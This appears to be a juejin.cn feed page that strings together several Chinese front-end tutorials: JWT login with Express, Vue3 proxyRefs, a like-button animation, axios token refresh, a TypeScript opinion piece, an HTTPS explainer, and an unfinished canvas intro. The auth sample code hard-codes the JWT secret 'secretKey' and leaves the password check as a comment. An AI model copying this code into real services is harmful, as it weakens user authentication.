如何在前端实现自动或无感化的登录态管理,包括用户注册、登录、接口校验登录态以及实现自动化请求时自动携带访问令牌。我们将探讨两种常见的实现方式:使用 HTTP Cookie 和前端存储和发送访问令牌。


1. 注册和登录


首先,用户需要通过注册和登录来获取访问令牌。


1.1 注册接口


在注册接口中,用户提供必要的注册信息(如用户名和密码),服务器对用户进行验证并创建用户账户。


示例代码(Node.js + Express):


// 注册接口
app.post('/register', async (req, res) => {
try {
const { username, email, password } = req.body;

// 检查用户名和邮箱是否已被注册
if (users.some(user => user.username === username)) {
return res.status(400).json({ error: '用户名已被注册' });
}

if (users.some(user => user.email === email)) {
return res.status(400).json({ error: '邮箱已被注册' });
}

// 使用bcrypt对密码进行哈希处理
const hashedPassword = await bcrypt.hash(password, 10);

// 创建新用户对象
const user = {
id: Date.now().toString(),
username,
email,
password: hashedPassword
};

// 将用户信息存储到数据库
users.push(user);

// 创建访问令牌
const token = jwt.sign({ userId: user.id }, 'secretKey');

res.status(201).json({ message: '注册成功', token });
} catch (error) {
res.status(500).json({ error: '注册失败' });
}
});

1.2 登录接口


在登录接口中,用户提供登录凭据(如用户名和密码),服务器验证凭据的正确性并颁发访问令牌。


示例代码(Node.js + Express):


app.post('/login', (req, res) => {
// 获取登录凭据
const { username, password } = req.body;

// 在此处进行用户名和密码的验证,如检查用户名是否存在、密码是否匹配等

// 验证成功,颁发访问令牌
const token = createAccessToken(username);

// 将访问令牌写入 Cookie
res.cookie('token', token, {
httpOnly: true,
secure: true, // 仅在 HTTPS 连接时发送 Cookie
sameSite: 'Strict' // 限制跨站点访问,提高安全性
});

// 返回登录成功的响应
res.status(200).json({ message: '登录成功' });
});

2. 接口校验登录态


在需要校验登录态的受保护接口中,服务器将校验请求中的登录凭据(Cookie 或访问令牌)的有效性。


示例代码(Node.js + Express):


app.get('/protected', (req, res) => {
// 从请求的 Cookie 中提取访问令牌
const token = req.cookies.token;

// 或从请求头部中提取访问令牌,如果采用前端存储和发送访问令牌方式
// const token = req.headers.authorization.split(' ')[1]; // 示例代码,需根据实际情况进行解析

// 检查访问令牌的有效性
if (!token) {
return res.status(401).json({ error: '未提供访问令牌' });
}

try {
// 验证访问令牌
const decoded = verifyAccessToken(token);

// 在此处进行更详细的用户权限校验等操作

// 返回受保护资源
res.status(200).json({ message: '访问受保护资源成功' });
} catch (error) {
res.status(401).json({ error: '无效的访问令牌' });
}
});

3. 自动化登录态管理


要实现自动或无感化的登录态管理,前端需要在每个请求中自动携带访问令牌(Cookie 或请求头部)。


3.1 使用 HTTP Cookie


当使用 HTTP Cookie 时,浏览器会自动将 Cookie 包含在每个请求的头部中,无需手动设置。


示例代码(前端使用 JavaScript):


// 发送请求时,浏览器自动携带 Cookie
fetch('/protected');

3.2 前端存储和发送访问令牌


当使用前端存储和发送访问令牌时,前端需要在每个请求的头部中手动设置访问令牌。


示例代码(前端使用 JavaScript):


// 从存储中获取访问令牌
const token = localStorage.getItem('token');

// 设置请求头部
const headers = {
'Authorization': `Bearer ${token}`
};

// 发送请求时,手动设置请求头部
fetch('/protected', { headers });

在上述示例代码中,我们使用了前端的 localStorage 来存储访问令牌,并在发送请求时手动设置了请求头部的 Authorization 字段。


请注意,无论使用哪种方式,都需要在服务器端进行访问令牌的验证和安全性检查,以确保请求的合法性和保护用户数据的安全。


补充说明:



  • createUser:自定义函数,用于创建用户账户并将其保存到数据库或其他持久化存储中。

  • createAccessToken:自定义函数,用于创建访问令牌。

  • verifyAccessToken:自定义函数,用于验证访问令牌的有效性。


写在最后


文章旨在答疑扫盲,内容简明扼要方便学习了解,请确保在实际应用中采取适当的安全措施来保护用户的登录凭据和敏感数据,保持学习,共勉~


作者:vin_zheng
来源:juejin.cn/post/7303463043249635362
收起阅读 »

你知道为什么template中不用加.value吗?

web
Vue3 中定义的ref类型的变量,在setup中使用这些变量是需要带上.value才可以访问,但是在template中却可以直接使用。 询其原因,可能会说 Vue 自动进行ref解包了,那具体如何实现的呢? proxyRefs Vue3 中有有个方法prox...
继续阅读 »

Vue3 中定义的ref类型的变量,在setup中使用这些变量是需要带上.value才可以访问,但是在template中却可以直接使用。


询其原因,可能会说 Vue 自动进行ref解包了,那具体如何实现的呢?


proxyRefs


Vue3 中有有个方法proxyRefs,这属于底层 API 方法,在官方文档中并没有阐述,但是 Vue 里是可以导出这个方法。


例如:


<script setup>
import { onMounted, proxyRefs, ref } from "vue";

const user = {
name: "wendZzoo",
age: ref(18),
};
const _user = proxyRefs(user);

onMounted(() => {
console.log(_user.name);
console.log(_user.age);
console.log(user.age);
});
</script>

上面代码定义了一个普通对象user,其中age属性的值是ref类型。当访问age值的时候,需要通过user.age.value,而使用了proxyRefs,可以直接通过user.age来访问。



这也就是为何template中不用加.value的原因,Vue3 源码中使用proxyRefs方法将setup返回的对象进行处理。


实现proxyRefs


单测


it("proxyRefs", () => {
const user = {
name: "jack",
age: ref(10),
};
const proxyUser = proxyRefs(user);

expect(user.age.value).toBe(10);
expect(proxyUser.age).toBe(10);

proxyUser.age = 20;
expect(proxyUser.age).toBe(20);
expect(user.age.value).toBe(20);

proxyUser.age = ref(30);
expect(proxyUser.age).toBe(30);
expect(user.age.value).toBe(30);
});

定义一个age属性值为ref类型的普通对象userproxyRefs方法需要满足:



  1. proxyUser直接访问age是可以直接获取到 10 。

  2. 当修改proxyUserage值切这个值不是ref类型时,proxyUser和原数据user都会被修改。

  3. age值被修改为ref类型时,proxyUseruser也会都更新。


实现


既然是访问和修改对象内部的属性值,就可以使用Proxy来处理getset。先来实现get


export function proxyRefs(objectWithRefs) {
return new Proxy(objectWithRefs, {
get(target, key) {}
});
}

需要实现的是proxyUser.age能直接获取到数据,那原数据target[key]ref类型,只需要将ref.value转成value


使用unref即可实现,unref的实现参见本专栏上篇文章,文章地址:mp.weixin.qq.com/s/lLkjpK9TG…


get(target, key) {
return unref(Reflect.get(target, key));
}

实现set


export function proxyRefs(objectWithRefs) {
return new Proxy(objectWithRefs, {
get(target, key) {
return unref(Reflect.get(target, key));
},
set(target, key, value) {},
});
}

从单侧中可以看出,我们是测试了两种情况,一种是修改proxyUserageref类型, 一种是修改成不是ref类型的,但是结果都是同步更新proxyUseruser。那实现上也需要考虑这两种情况,需要判断原数据值是不是ref类型,新赋的值是不是ref类型。


使用isRef可以判断是否为ref类型,isRef的实现参见本专栏上篇文章,文章地址:mp.weixin.qq.com/s/lLkjpK9TG…


set(target, key, value) {
if (isRef(target[key]) && !isRef(value)) {
return (target[key].value = value);
} else {
return Reflect.set(target, key, value);
}
}

当原数据值是ref类型且新赋的值不是ref类型,也就是单测中第 1 个情况赋值为 10,将ref类型的原值赋值为valueref类型值需要.value访问;否则,也就是单测中第 2 个情况,赋值为ref(30),就不需要额外处理,直接赋值即可。


验证


执行单测yarn test ref



作者:wendZzoo
来源:juejin.cn/post/7303435124527333416
收起阅读 »

直播点赞喷射表情效果实现

web
最近在线看直播年会。有一个点赞的按钮,点击点赞按钮喷射表情,表情在屏幕上向上浮动之后消失。觉得这个效果挺具有代表性,所以想实现一下。 找了一个别人的效果图 就来实现这个效果。 写一个点赞按钮 <style> .like-box { ...
继续阅读 »

最近在线看直播年会。有一个点赞的按钮,点击点赞按钮喷射表情,表情在屏幕上向上浮动之后消失。觉得这个效果挺具有代表性,所以想实现一下。


找了一个别人的效果图


点赞.gif


就来实现这个效果。


写一个点赞按钮


  <style>
.like-box {
width: 48px;
height: 48px;
border-radius: 50%;
background-color: #ddd;
position: relative;
top: 360px;
display: flex;
align-items: center;
justify-content: center;
left: 300px;
cursor: pointer;
}

.like-box i {
font-size: 25px;
}
</style>
<div class="like-box" id="like-box">
<i class="icon-dianzan iconfont"></i>
</div>

1700297207118.png


其中中间的图标用的是阿里巴巴矢量图标库的图标字体。


动态创建表情


动态表情用一个div表示。背景是表情图片。有6个备选表情


image.png


div样式


 .like-box div {
position: absolute;
width: 48px;
height: 48px;
background-image: url("./public/images/bg1.png");
background-size: cover;
z-index: -1;
}

使用js创建表情图标,并插入到点赞div


const likeBox = document.getElementById('like-box') // id为like-box
const createFace = function () {
const div = document.createElement('div')
return div
}

likeBox.addEventListener('click', function () {
const face = createFace()
likeBox.appendChild(face)
})

实现表情动画效果


从最终效果图中可以看出,最终效果是由多个表情组成,更准确的说是由多个不同运动轨迹表情实现。所以关键是表情的轨迹实现。


而在运动轨迹过程中,有大小缩放效果、有淡出效果。所以至少有三个animation。


实现缩放效果


使用animation实现缩放效果,添加animation样式


    @keyframes scale {
0% {
transform: scale(0.3);
}

100% {
transform: scale(1.2);
}
}

当动态创建表情div时,将缩放效果添加到div上,添加后效果


缩放效果.gif


实现淡出效果


使用animation实现淡出效果,添加animation样式


    @keyframes opacity {
0% {
top: 0;
}

10% {
top: -10px;
}

75% {
opacity: 1;
top: -180px;

}

100% {
top: -200px;
opacity: 0;
}
}

当动态创建表情div时,将淡出效果添加到div上,添加后具体效果


淡入淡出.gif


实现不同轨迹效果


单一轨迹

创建单一轨迹样式效果


 @keyframes swing_1 {
0% {}

25% {
left: 0;
}

50% {
left: 8px;
}

75% {
left: -15px;
}

100% {
left: 15px;
}
}

当动态创建表情div时,将单一轨迹样式效果添加到div上,添加后具体效果


单一轨迹.gif


多轨迹

多轨迹有点麻烦,但是也不是很麻烦。具体思路是创建多个轨迹样式,然后在动态创建表情时给表情div随机添加各种轨迹样式,添加后具体效果


多轨迹.gif


最终js代码


const likeBox = document.getElementById('like-box')

const createFace = function () {
// 随机表情
const face = Math.floor(Math.random() * 6) + 1;
// 随机轨迹
const trajectory = Math.floor(Math.random() * 11) + 1; // bl1~bl11

const div = document.createElement('div')

div.className = `face${face} trajectory${trajectory}`;
return div
}


likeBox.addEventListener('click', function () {
const face = createFace()
likeBox.appendChild(face)
})

移除产生的表情div


为了避免一直添加div,乃至最后降低动画性能,需要等animation结束后移除动画div


const likeBox = document.getElementById('like-box')

const createFace = function () {
const face = Math.floor(Math.random() * 6) + 1;
const trajectory = Math.floor(Math.random() * 11) + 1; // bl1~bl11

const div = document.createElement('div')

div.className = `face${face} trajectory${trajectory}`;
// 移除div
div.addEventListener("animationend", () => {
if(likeBox.contains(div)){
likeBox.removeChild(div)
}
});
return div
}

likeBox.addEventListener('click', function () {
const face = createFace()
likeBox.appendChild(face)
})

总结


所有的效果实现都通过css的animation实现。实际还可以使用canvas实现。关键是实现的思路。


核心思路:使用css的animation实现,基于对动画效果的拆分;拆出单一效果,之后所有效果同时发挥作用。


最近想到一件事,初高中学到的数学知识应该可以应用在开发中。有些前端效果实际就是数学知识的一种应用。更准确的说是高中数学函数图形以及几何图形那块,这两块都有曲线的函数或者方程表示。


如果要实现的效果是曲线或者轨迹的话,完全可以考虑它的坐标关系是不是数学中学到的。进而知道关系,进而开发出效果。


我一直想把中学和大学的知识应用,我想上面就是应用的一个点。


代码地址:github.com/zhensg123/r…


(本文完)


参考文章


H5 直播的疯狂点赞动画是如何实现的?(附完整源码)


作者:通往自由之路
来源:juejin.cn/post/7303463043248291874
收起阅读 »

无感刷新,我想说说这三种方案

web
现在当你想去找一个无感刷新的方案的时候,搜出来的大多都是教你在aioxs的相应拦截器里面去截取当前请求的config。然后当token刷新后再去请求失败的接口。首先声明,这个方案完全没有任何问题。只是有可以优化的地方,这个优化的地方可以在我将要写的第二种方案中...
继续阅读 »

现在当你想去找一个无感刷新的方案的时候,搜出来的大多都是教你在aioxs的相应拦截器里面去截取当前请求的config。然后当token刷新后再去请求失败的接口。首先声明,这个方案完全没有任何问题。只是有可以优化的地方,这个优化的地方可以在我将要写的第二种方案中得到解决。


准备工作


接口服务


在实行方案之前需要准备好相关的接口服务,我会用node写一些登录刷新和正常的业务接口, 点这里查看


简单介绍下准备的接口及其作用



  • /login: 模拟登录并返回tokenrefreshToken

  • /refreshToken: 当token过期,请求这个接口会获得新的tokenrefreshToken,接口需要传入通过/login接口或者/refreshToken接口返回的refreshToken。当refreshToken也判断过期,就只能去登陆页。

  • /test1: 模拟正常的业务请求接口,会验证token是否有效及是否过期,过期返回401

  • /test2: 模拟正常的业务请求接口,会验证token是否有效及是否过期,过期返回401

  • /test3: 模拟正常的业务请求接口,会验证token是否有效及是否过期,过期返回401


token的过期时间设置为5秒。


axios的封装


我们使用axios都会进行二次封装,都会在拦截器里面处理一些逻辑。这里给出一个最基本的封装,后面都会用到。


import axios from "axios";

export const service = axios.create({
  timeout: 1000 * 30,
  baseURL: "http://192.168.0.102:9001",
});

service.interceptors.request.use(
  (config) => {
    let token = localStorage.getItem("token");
    config.headers["Authorization"] = token;
    return config;
  },
  (err) => Promise.reject(err)
);

service.interceptors.response.use(
  (res) => {
    return res.data;
  },
  (err) => {
    return Promise.reject(err);
  }
);

export const get = (url, params) => {
  return new Promise((resolve, reject) => {
    service
      .get(url, { params })
      .then((res) => {
        resolve(res);
      })
      .catch((err) => {
        reject(err);
      });
  });
};

export const post = (url, data = {}) => {
  return new Promise((resolve, reject) => {
    service
      .post(url, data)
      .then((res) => {
        resolve(res);
      })
      .catch((err) => {
        reject(err);
      });
  });
};

首先还是介绍下最广泛的使用方案


在axios的响应拦截器里面处理


这种方案的工作流程都是在相应拦截器里面处理的,当判断到接口401,则请求刷新token接口,并改变一个状态来表明当前正在执行刷新token,这样可以避免多个请求同时401的时候所导致的一次401就会请求一次刷新token接口。接着将紧随着报401的接口保存起来,等到刷新token接口成功后再去执行这些失败的接口。完整代码,在上文的二次封装的axios基础上进行更改。


import axios from "axios";
----------------------------------------------------------------新增
import { refreshToken } from "@/api/login";
----------------------------------------------------------------新增

export const service = axios.create({
  timeout: 1000 * 30,
  baseURL: "http://192.168.0.102:9001",
});

service.interceptors.request.use(
  (config) => {
    let token = localStorage.getItem("token");
    config.headers["Authorization"] = token;
    return config;
  },
  (err) => Promise.reject(err)
);

----------------------------------------------------------------新增
let inRefreshing = false; // 当前是否正在请求刷新token
let wating = []; // 报401的接口 加入等待列表 刷新接口成功后统一请求
----------------------------------------------------------------新增

service.interceptors.response.use(
  (res) => {
    return res.data;
  },
  (err) => {
----------------------------------------------------------------新增
    let { config } = err.response;

    if (inRefreshing) { // 刷新token正在请求,把其他的接口加入等待数组
      return new Promise((resolve) => {
        wating.push({
          config,
          resolve,
        });
      });
    }

    if (err?.response?.status === 401) {
      inRefreshing = true;

      refreshToken({ refreshToken: localStorage.getItem("refreshToken") }).then(
        (res) => {
          const { success, response } = res;
          if (success) {
            inRefreshing = false;

            const { token, refreshToken } = response;
            localStorage.setItem("token", token);
            localStorage.setItem("refreshToken", refreshToken);

// 刷新token请求成功,等待数据的失败接口重新发起请求
            wating.map(({ config, resolve }) => {
              resolve(service(config));
            });
            wating = []; // 请求完之后清空等待请求的数组

            return service(config); // 当前接口重新发起请求
          } else {
            // 刷新token失败  重新登录
          }
        }
      );
    }
----------------------------------------------------------------新增
    return Promise.reject(err);
  }
);

export const get = (url, params) => {
  return new Promise((resolve, reject) => {
    service
      .get(url, { params })
      .then((res) => {
        resolve(res);
      })
      .catch((err) => {
        reject(err);
      });
  });
};

export const post = (url, data = {}) => {
  return new Promise((resolve, reject) => {
    service
      .post(url, data)
      .then((res) => {
        resolve(res);
      })
      .catch((err) => {
        reject(err);
      });
  });
};

有些同学可能对上面代码有些疑问,感觉wating里面的数据不对,比如同时发送三个接口报401,wating只会加入两条接口数据,还有一条在哪儿。其实就在第60行返回了。


然后再对接口进行简单的封装


import { post } from "./index";

export const login = () => post("/login");
export const refreshToken = (data) => post("/refreshToken", data);

export const test1 = () => post("/test1");
export const test2 = () => post("/test2");
export const test3 = () => post("/test3");

接下来看结果。点击按钮会发送三条接口请求。

第一次点击发送请求token还未过期,第二次点击发送请求token已过期。
1.gif


完美,没啥问题!因为上面给大家展示的是最简单的axios封装,所以在响应拦截器里面加上一些接口重发的逻辑好像没啥问题。但是如果还有对接口数据的加密解密过程呢?还有控制加载的时候loading窗完美展示的问题呢?这样一看在二次封装的axios里面加上接口重发就有点儿太多了。再比如说我用的不是axios怎么办,是不是又得根据请求的插件去改一些东西。


那么与axios拦截器解耦就成了需要做的事了。


与axios拦截器解耦


我们需要创建一个构造函数,这个构造函数会将报401的接口收集起来,等到刷新token接口成功后再去请求


import { refreshToken } from "@/api/login";

function requestCollection() {
  let inRefreshing = false; // 当前是否正在请求刷新token
  let wating = []; // 报401的接口 加入等待列表 刷新接口成功后统一请求

  return (request) => {
    return new Promise((resolve) =>
      request()
        .then((res) => {
          resolve(res);
        })
        .catch(async (err) => {
          if (err.response.status == 401) {
            if (inRefreshing) {
              // 加入等待执行的数组
              return wating.push({
                request,
                resolve,
              });
            }

            inRefreshing = true;

            await RT();

            wating.map(({ resolve, request }) => {
              resolve(request());
            });
            wating = [];

            return resolve(request());
          }
        })
    );
  };
}

const RT = () => {
  return new Promise((resolve) =>
    refreshToken({
      refreshToken: localStorage.getItem("refreshToken"),
    }).then((res) => {
      const { success, response } = res;
      if (success) {
        const { token, refreshToken } = response;
        localStorage.setItem("token", token);
        localStorage.setItem("refreshToken", refreshToken);

        resolve();
      }
    })
  );
};

export default requestCollection;

其实内在的处理逻辑与第一种大同小异,主要在于将这一部分逻辑抽离出来。


使用


import { post } from "./index2";
import requestCollection from "./RequestCollection";

const check = new requestCollection();

export const login = () => check(() => post("/login"));
export const refreshToken = (data) => check(() => post("/refreshToken", data));

export const test1 = () => check(() => post("/test1"));
export const test2 = () => check(() => post("/test2"));
export const test3 = () => check(() => post("/test3"));

效果演示


2.gif


这种方案存在的一个小问题
因为需要对接口进行一层包裹,所以如果你的项目已经运行有一段时间了突然来个需求说想要个无感刷新token,那其实这个方案会随着你的项目的大小而加大你的工作量。


上述两种方案都存在的不足
当我们都在讨论无感刷新token的方案都是如何接口重发的时候,大家都忽略了一个问题,那就是接口重发的过程是发送了原本两倍+1的接口数量。如果这个接口本来就慢,恰好碰上了401,那用户就得花约两倍时间去等一个结果,相信你不愿意等,我也不愿意等。


那么被大家诟病会造成一定性能浪费的定时任务刷新就可以解决这个问题,并且定时任务刷新也是解耦于二次封装的axios。 其实都到了2023年,一个定时任务会对最终用户所使用的页面造成卡顿的影响可以说完全感知不到。但是我也不推荐大家无意识的随便使用定时器或者闭包一类能通过一点点累加所造成的内存泄露的性能问题。


定时任务刷新


这个就不给代码了,主要注意几个点就行



  • 后端需要配合返回一个token的过期时间

  • 定时任务全局存在

  • 刷新token成功后需要更新过期时间重新计算


总结


其实上面三种方案都有自己的好处和缺点,无论你使用哪一种方案,都没有问题。这些需要你结合自己的项目来选择适合你的方案。


作者:谁是克里斯
来源:juejin.cn/post/7302404170412802074
收起阅读 »

为什么我不建议中小企业使用 TypeScript

web
此博客内容,包含【极端的个人主观因素、极端的个人主观因素、极端的个人主观因素】,如不喜欢,请轻喷...... 不知道从什么时候开始,前端开发者中出现了一种 唯 TS 至上论 的思想。 如果你的项目中使用的 是JavaScript 而 不是TypeScript,...
继续阅读 »

此博客内容,包含【极端的个人主观因素、极端的个人主观因素、极端的个人主观因素】,如不喜欢,请轻喷......


不知道从什么时候开始,前端开发者中出现了一种 唯 TS 至上论 的思想。


如果你的项目中使用的 是JavaScript不是TypeScript,那么就会被打上 很low 的标签。同时也会被立刻质疑:“你为什么没有使用 TS?”


我为什么一定要使用 TypeScript 呢?


TypeScript 真的有那么的完美,值得我们在任何的场景下都优先使用吗? 恐怕不是的


任何的一门技术都是一把双刃剑,它在带来一定优势的同时,必然也会带来一定的不便性。


所以,咱们今天就来聊一聊:“为什么我不建议中小企业使用 TypeScript!”


01:不要让 TS 沦为 个人KPI


有很多中小企业的 “技术Leader”,本身并没有对 TS 进行过深入的了解。只不过是因为老板的一句:“我听说人家现在都在用 TS 啦?” 而强行在团队中推行 TS 。完全不考虑团队目前的技术方向以及团队的加班时长,这是 不可取的


所以 不要让 TS 沦为 个人KPI


当你想要在团队中推行 TS 时,你应该首先评估团队中是否有人使用过 TS,研究下大家学习 TS 所需要花费的时间。如果团队中都不熟悉 TS ,并且你也没有令人信服的理由,就不要强制团队使用 TS 啦。


02:大多数的中小企业很难适应它


说真的,“你(中小企业)花了多少钱招人,你自己心里没点 B 数吗?” 怎么着?还真打算拿着买“粉条”的钱去买“鱼翅”不成?


面试的时候,想尽办法的压薪资。工作的时候,又期望大家为你发挥出远超TA当前薪资的能力,好处都让你占了呗?


所以,别那么天真了!你的开发人员现阶段真的很难适应 TS。


如果,你真的想要在团队中推行 TS,并且希望它可以为你带来好的结果。


那么 请先培训你的团队!


拿出一定的时间和金钱,来提升你团队的技术能力和技术深度。为他们提供学习 TS 所需要的时间和课程,询问团队的意见,正确的评估你们团队的技能组合。否则你的 自私 决定,只会损害你们团队的利益,最终也会损害到你自己的利益。


03:容易出现 “伪 TS”


所有以 .ts 结尾的文件,都是使用了 TypeScript 的。


由此,项目中就有可能会出现大量的 “伪 TS”。也就是:“以 .ts 结尾的文件,但是内容都是 js。”


这样的项目,除了可以让你们老板拿出去“吹牛逼”之外,对技术个人是毫无意义的。



当然,让老板可以拿出去 “吹牛逼” 对很多 “所谓的 Leader” 而言,就是TA们价值的体现



04:更容易出现屎山


其实 “伪 TS” 还好,因为它毕竟 不需要 我们花费更多的 时间和头发 来了解它的心路历程。


而比 “伪 TS” 更可怕的是:屎山一样的 TS 代码。


相信我,一旦 TS 屎山起来,那个味道要比 JS 重的多!


不知道大家有没有接手过一些 “所谓的 TS 项目”。我有幸在多个 训练营的同学 那里见到过很多次。


过度的类型声明、过度的类型封装,以及那些明明被定义但是 “好像” 从来都没有使用过的属性们。偏偏你还不敢动它们。就问你晕不晕。


将来当你想要去定义一个属性时,发现好像已经有了一个类似的,但是你又不确定的时候怎么办呢?最安心的办法就是 “再创建一个”。


所以,我曾经有幸在一个接口中见到了这样的代码(以下为伪代码):


interface User {
name: string;
name2: string;
username: string;
username2: any;
}


就问你刺激不刺激。


通常情况下,当我们遇到这样的代码时,根据 “尽量遵守前人代码习惯” 的规范下,很快这里就可能会出现 name3、name4 以及 name-next...


总结


任何的一门技术都是一把双刃剑,它在带来一定优势的同时,必然也会带来一定的不便性。


所以,我们真的没有必要去跟风追逐所谓的强类型。适合自己团队的,才是最好的!



这是第二次发了,虽然我啥也没改......



作者:程序员Sunday
来源:juejin.cn/post/7303413519906963465
收起阅读 »

为什么说https比http安全?

web
前言 在互联网时代,我们每天都在进行着与网络有关的活动,而网络安全问题也因此成为大家越来越关注的话题。http协议作为最常用的网络传输协议之一,其设计缺陷让黑客攻击变得更加容易。相比之下,https协议通过加密通信,能够更有效地保护用户隐私和数据安全。 本文将...
继续阅读 »

前言


在互联网时代,我们每天都在进行着与网络有关的活动,而网络安全问题也因此成为大家越来越关注的话题。http协议作为最常用的网络传输协议之一,其设计缺陷让黑客攻击变得更加容易。相比之下,https协议通过加密通信,能够更有效地保护用户隐私和数据安全。


本文将为您介绍什么是https,为什么它比http更安全,帮助您更好地了解网络安全问题。


什么是https


httpshttp的加强版(HTTP+SSL),因为http特性是明文传输,因此到每个传输的环节中数据都有可能被第三方篡改的可能,也就是我们所说是中间人攻击。为了数据的安全,提出了https这个方案


但它不是一个新的协议,原理上是在httptcp层之间建立一个中间层(也叫安全层),在不像之前http一样,直接进行数据通信,这个中间层会对数据进行加密处理,将加密后的数据给TCPTCP再将数据包进行解密处理才能传给上游的http



http是位于OSI网络模型中的应用层




SSL(Secure Sockets Layer 安全套接字协议),及其继任者传输层安全(Transport Layer Security,TLS)是为网络通信提供安全及数据完整性的一种安全协议



20230112112331


在采用了SSL后,http就拥有了https的加密,证书,完整性保护功能。


换句话说,安全性是由SSL来保证的


SSL/TLS


SSL 即 安全套接层(Secure Sockets Layer),在OSI模型中处于第5层。在1999SSL更名为TLS(传输层安全),正式标准化。


TLS中使用了两种加密技术,分别是对称加密和非对称加密



提到 TLS ,就要说下 OpenSSL ,它是一个开源密码学程序库和工具包,支持了所有公开的加密算法和协议,许多应用软件都适用它作为底层库来实现 TLS 功能,例如 Apache、Nginx等。



加密技术


对称加密 Symmetric Cryptography


对称加密常见的加密算法有:DESAESIDEA


这个很好理解,对称加密指的是加密和解密的方式都是使用同一把钥匙(密保)


缺点:



  • 服务器端也会把密钥提供给对方进行解密,如果密钥传递的过程中被窃取那就没有加密的意义了


非对称加密 Asymmetric Cryptography


非对称加密常见的算法有:RSADSADH


非对称加密会有两把解密的密钥分别是ABA加密后的数据包只能通过密钥B来解密,反之,B加密的数据包只能通过A来解密


其中,A是公钥,B是私钥,这两把钥匙是不一样,公钥可以给任何人使用,私钥则必须保密。


这样子做可以防止密钥被攻击者窃取后用来获取数据


缺点:



  • 公钥是公开的,攻击者可以截获公钥后解密服务器发送过来的密钥

  • 公钥不包含服务器信息,使用这个方案无法确保服务器身份的合法性,存在中间人攻击风险

  • 使用非对称加密在数据加密解密过程需要消耗一定时间,降低了数据传输效率


hash算法


例如sha256sha1md5这些用来确定数据的完整性,是否有被篡改过,主要用来生成签名信息。


混合加密


HTTPS采用的是混合加密方案(即:对称加密和非对称加密的结合)


非对称加密的安全性比较高,但是解密速度会比较慢。


当数据进行第一次通信时,使用非对称加密算法(解决安全性问题)交互对称密钥,在这之后的每一次通信都采用对称加密来进行交互。这样子性能和安全也可以得到均衡。


混合加密总用了4把钥匙



  • 非对称加密A+私钥B

  • 对称加密私钥C和私钥D



内容传输时使用对称加密,证书验证阶段使用非对称加密



HTTPS工作过程



  1. 客户端发起一个网络请求。

  2. 服务器将自己的信息以数字证书的方式给了客户端(证书里面含有密钥公钥,地址,证书颁发机构等信息),其中的公钥是用来加密信息的。

  3. 当客户端接收到这个信息之后,会验证证书的完整性。(当证书有效继续下一步,否则显示警告信息)

  4. 客户端生成一个对称密钥并用第二步中的证书公钥进行加密发送给服务器端,

  5. 服务器用私钥解密获取对此密钥。(也证明了服务器是私钥的持有者)

  6. 接下来的通话使用该密钥进行通讯。


20230409202418


HTTPS运行原理


浏览器拿到证书后,会先读取issuer(发布机构),然后在操作系统中内置的受信任的发布机构中查找证书,是否匹配,如果没有找到证书,说明证书有问题,如果找到了,就会拿上级证书的公钥去解密本级证书,得到数字指纹hash,然后对本级证书进行数字摘要算法(证书中提供的指纹加密算法)计算结果,与解密得到的指纹对比。如果一样,说明证书没有被修改过。公钥可以放心使用,可以开始握手通信了。


证书从哪里来



  • 在安装系统的时候,受信任的证书发布机构的数字证书就已经被微软安装在操作系统中


20230409202800


什么时候证书不可信



  • 证书不是权威CA颁发(一些企业贪图便宜使用盗版证书,没有经过CA认证,也就无法通过使用浏览器内置CA公钥进行验证)

  • 证书过期

  • 证书部署错误,例如证书和域名信息不匹配


HTTPS优劣势


优势



  • 提高Web数据安全性

  • 加密用户数据

  • 提高搜索引擎排序

  • 浏览器不会出现非“不安全”警告

  • 提高用户对站点的信赖

  • 增加了中间人攻击成本


缺点



  • https协议在握手时耗时会大一些,影响整体加载速度

  • 客户端和服务器端会使用更大的性能来处理数据加解密

  • SSL证书需要支付一定的费用来获取

  • 也不是绝对的安全,当网站被攻击,服务器被劫持时,HTTPS起不到任何作用

  • SSL证书通常需要绑定IP,不能在同一IP上绑定多个域名,IPv4资源不可能支撑这个消耗


关于数字证书认证


结合了两种加密方式可以实现数据的加密传输,但安全性还远远不够


如果攻击者采用了DNS劫持,将目标地址替换成攻击者指定的地址,之后服务器再伪造一份公钥和私钥,也能对数据进行处理,而客户端此时也不知道正在访问一个危险的服务器


HTTPS在混合加密的基础上,再追加了数字证书认证步骤,目的就是为了让服务器证明自己的身份


在传输过程中,服务器运营者需要向第三方认证机构(CACertificate Authority)获取授权,在认证通过之后CA会给服务器颁发数字证书


这个证书的作用就是用来证明服务器身份,还有就是把公钥传递给客户端


当客户端获取到数字证书后,会读取其明文内容,CA在对数字证书签名时会保存一个hash函数,这个函数是用来计算明文的内容得到数据A,然后用公钥解密明文内容得到数据B,再对这两份数据进行对比,如果一致就代表认证合法。


为什么要使用https?


它们之间有什么区别吗?


通过上面的介绍,我们可以了解到http在传输过程是明文的,数据容易被黑客截取或者篡改,这会导致用户信息泄露,而https通过ssl进行通讯加密处理,就算被截取了,也无法解读数据


另外,除了安全性方面,httpshttp还有以下区别:



  • 由于https需要对数据进行加解密,所以会增加服务器和客户端的消耗更多的性能资源来处理,同时也增加了响应速度

  • https需要申请证书和验证,http则不需要



作者:_island
来源:juejin.cn/post/7220619478979182648
收起阅读 »

从canvas到B站弹幕

web
canvas是HTML自带的一个用于绘制图形的标签,它身上的API太多了,本文会介绍几个常见的属性,以及应用到B站的实现 Canvas 我们在body中放一个canvas标签,然后在Script中添加属性 <body> <canvas i...
继续阅读 »

canvas是HTML自带的一个用于绘制图形的标签,它身上的API太多了,本文会介绍几个常见的属性,以及应用到B站的实现



Canvas


我们在body中放一个canvas标签,然后在Script中添加属性


<body>
<canvas id="canvas" width="300" height="300"></canvas>
<script>
let canvas = document.getElementById("canvas")
let ctx = canvas.getContext("2d")
ctx.fillStyle = "green"
ctx.fillRect(10,10,55,50)
</script>
</body>

let ctx = canvas.getContext("2d")其实就是对canvas实例化一个对象。先得到一只2维的画笔,接下来的操作都是针对这只画笔


ctx.fillStyle = "green"给这只画笔沾上墨水,否则怎么画都画不出


fillRext用来画填充矩形。其中四个参数分别为左上角坐标,和右下角坐标,此时效果如下


1.png


	<script>
let canvas = document.getElementById("canvas")
let ctx = canvas.getContext("2d")
ctx.strokeRect(10,10,55,55)
</script>

strokeRect是用来画矩形的,只有边框,不会进行填充,stroke这个单词可能大家只知道有中风的意思,其实还有笔画,轻拭的意思,此时效果如下


2.png


再来一个自定义描边


	<script>
let canvas = document.getElementById("canvas")
let ctx = canvas.getContext("2d")
ctx.beginPath()
ctx.moveTo(10, 10)
ctx.lineTo(10, 55)
ctx.lineTo(55, 10)
ctx.closePath()
ctx.stroke()
</script>

